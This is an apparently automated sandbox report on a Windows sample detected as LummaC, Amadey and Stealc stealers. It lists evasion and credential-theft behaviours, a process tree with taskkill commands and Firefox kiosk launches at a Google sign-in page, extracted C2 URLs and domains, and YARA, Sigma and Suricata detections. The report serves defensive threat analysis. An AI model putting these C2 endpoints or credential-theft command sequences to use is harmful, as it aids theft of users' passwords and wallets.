Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545087
MD5:	ba4acd66f5a624204d7e4935bcc7607b
SHA1:	8e7459499a6c10a45ba0f3f1b1dbaf60d8e81b78
SHA256:	33a4f30902e46a8118225a95b4498a0b693c88e5bee6192d4a3129f5d59e9382
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7416 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BA4ACD66F5A624204D7E4935BCC7607B)

APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe (PID: 7876 cmdline: "C:\Users\user~1\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe" MD5: 2C2EF4A8598A91D781960D9AE7D8CA86)

OQ8LP4972W0L2P9TRRG7I8.exe (PID: 8004 cmdline: "C:\Users\user~1\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe" MD5: E6DB0D8CCF91F1C7338EE950B14B8183)

skotes.exe (PID: 2980 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: E6DB0D8CCF91F1C7338EE950B14B8183)

skotes.exe (PID: 6380 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E6DB0D8CCF91F1C7338EE950B14B8183)

skotes.exe (PID: 6916 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E6DB0D8CCF91F1C7338EE950B14B8183)

3cbc500e8f.exe (PID: 3312 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe" MD5: BA4ACD66F5A624204D7E4935BCC7607B)

c74ef7bd5d.exe (PID: 7580 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002528001\c74ef7bd5d.exe" MD5: B0F2E98C3FEA556C75A29C5325160F58)

9c8810ba8c.exe (PID: 5700 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002529001\9c8810ba8c.exe" MD5: 59B54224956FE92C6CF81FF78616CF7F)

taskkill.exe (PID: 7592 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6896 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7764 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8072 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8188 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5092 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 5480 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002530001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

3cbc500e8f.exe (PID: 4684 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe" MD5: BA4ACD66F5A624204D7E4935BCC7607B)

DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe (PID: 3320 cmdline: "C:\Users\user~1\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe" MD5: 2C2EF4A8598A91D781960D9AE7D8CA86)

529CUIG0QU5WLQ1L1F8J4L.exe (PID: 348 cmdline: "C:\Users\user~1\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe" MD5: E6DB0D8CCF91F1C7338EE950B14B8183)

firefox.exe (PID: 6584 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3452 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7996 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1e2d7a68-ce09-45bb-9226-d5bad111f1ce} 3452 "\\.\pipe\gecko-crash-server-pipe.3452" 18faf96f710 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6604 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4120 -parentBuildID 20230927232528 -prefsHandle 4460 -prefMapHandle 4456 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a4ae015-968d-4b26-bc7a-e9bd99779ca8} 3452 "\\.\pipe\gecko-crash-server-pipe.3452" 18fc1c44d10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

c74ef7bd5d.exe (PID: 5972 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002528001\c74ef7bd5d.exe" MD5: B0F2E98C3FEA556C75A29C5325160F58)

9c8810ba8c.exe (PID: 7020 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002529001\9c8810ba8c.exe" MD5: 59B54224956FE92C6CF81FF78616CF7F)

taskkill.exe (PID: 4608 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5632 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3944 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2356 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

num.exe (PID: 4228 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002530001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

3cbc500e8f.exe (PID: 7784 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe" MD5: BA4ACD66F5A624204D7E4935BCC7607B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["fadehairucw.store", "scriptyprefej.store", "thumbystriw.store", "founpiuer.store", "presticitpo.store", "necklacedmny.store", "crisiwarny.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1002530001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1002530001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1415508337.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000003.2291705404.0000000005350000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.1666148414.0000000000861000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000003.1578066168.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.1910276571.0000000005040000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.1681605342.0000000000861000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000027.00000002.2474881578.0000000001978000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2202241135.000000000057E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002A.00000003.2533708529.0000000004E20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2283064269.0000000000F21000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000003.2346560328.000000000177C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000000.2454419542.0000000000F21000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000003.2160499732.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000027.00000002.2470365828.0000000000F21000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000002.2390642371.000000000157B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000002.2382127807.0000000000911000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2202933789.0000000000911000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000003.1638565061.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.1625812886.0000000005020000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000000.2255211546.0000000000F21000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.1620025526.0000000000441000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2288121473.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7416	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7416	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7416	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3cbc500e8f.exe PID: 3312	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3cbc500e8f.exe PID: 3312	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3cbc500e8f.exe PID: 3312	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: c74ef7bd5d.exe PID: 7580	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: c74ef7bd5d.exe PID: 7580	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 3cbc500e8f.exe PID: 4684	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3cbc500e8f.exe PID: 4684	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3cbc500e8f.exe PID: 4684	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9c8810ba8c.exe PID: 5700	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author
31.2.num.exe.f20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
39.0.num.exe.f20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.OQ8LP4972W0L2P9TRRG7I8.exe.440000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.0.num.exe.f20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
34.2.c74ef7bd5d.exe.910000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
7.2.skotes.exe.860000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
39.2.num.exe.f20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.860000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.c74ef7bd5d.exe.910000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6916, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3cbc500e8f.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6916, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3cbc500e8f.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7416, ParentProcessName: file.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe", ProcessId: 7876, ProcessName: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:16.981065+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49703	188.114.97.3	443	TCP
2024-10-30T04:34:18.168396+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49709	188.114.97.3	443	TCP
2024-10-30T04:34:28.975549+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49775	188.114.97.3	443	TCP
2024-10-30T04:35:30.588529+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49984	188.114.97.3	443	TCP
2024-10-30T04:35:31.887296+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49987	188.114.97.3	443	TCP
2024-10-30T04:35:45.859427+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49997	188.114.97.3	443	TCP
2024-10-30T04:35:47.695782+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50000	188.114.97.3	443	TCP
2024-10-30T04:36:02.400275+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50034	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:16.981065+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49703	188.114.97.3	443	TCP
2024-10-30T04:35:30.588529+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49984	188.114.97.3	443	TCP
2024-10-30T04:35:45.859427+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49997	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:18.168396+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49709	188.114.97.3	443	TCP
2024-10-30T04:35:31.887296+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49987	188.114.97.3	443	TCP
2024-10-30T04:35:47.695782+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50000	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:15.966316+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49703	188.114.97.3	443	TCP
2024-10-30T04:34:17.654230+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49709	188.114.97.3	443	TCP
2024-10-30T04:34:19.032998+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49718	188.114.97.3	443	TCP
2024-10-30T04:34:21.085029+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49731	188.114.97.3	443	TCP
2024-10-30T04:34:22.748668+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49742	188.114.97.3	443	TCP
2024-10-30T04:34:24.507195+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49753	188.114.97.3	443	TCP
2024-10-30T04:34:26.137354+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49761	188.114.97.3	443	TCP
2024-10-30T04:34:28.507302+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49775	188.114.97.3	443	TCP
2024-10-30T04:35:29.614544+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49984	188.114.97.3	443	TCP
2024-10-30T04:35:31.414668+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49987	188.114.97.3	443	TCP
2024-10-30T04:35:32.842035+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49988	188.114.97.3	443	TCP
2024-10-30T04:35:34.638543+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49989	188.114.97.3	443	TCP
2024-10-30T04:35:36.103573+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49990	188.114.97.3	443	TCP
2024-10-30T04:35:39.010575+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49991	188.114.97.3	443	TCP
2024-10-30T04:35:41.787868+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49995	188.114.97.3	443	TCP
2024-10-30T04:35:44.926734+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49996	188.114.97.3	443	TCP
2024-10-30T04:35:45.326829+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49997	188.114.97.3	443	TCP
2024-10-30T04:35:47.352507+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50000	188.114.97.3	443	TCP
2024-10-30T04:35:49.122646+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50004	188.114.97.3	443	TCP
2024-10-30T04:35:52.424167+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50008	188.114.97.3	443	TCP
2024-10-30T04:35:55.387893+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50014	188.114.97.3	443	TCP
2024-10-30T04:35:57.785137+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50024	188.114.97.3	443	TCP
2024-10-30T04:36:00.192632+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50032	188.114.97.3	443	TCP
2024-10-30T04:36:01.905905+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50034	188.114.97.3	443	TCP
2024-10-30T04:36:19.422149+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50043	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:29.893106+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49781	185.215.113.16	80	TCP
2024-10-30T04:35:46.569894+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49999	185.215.113.16	80	TCP
2024-10-30T04:36:03.328807+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	50035	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:35:30.487614+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49985	185.215.113.43	80	TCP
2024-10-30T04:35:40.187165+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49992	185.215.113.43	80	TCP
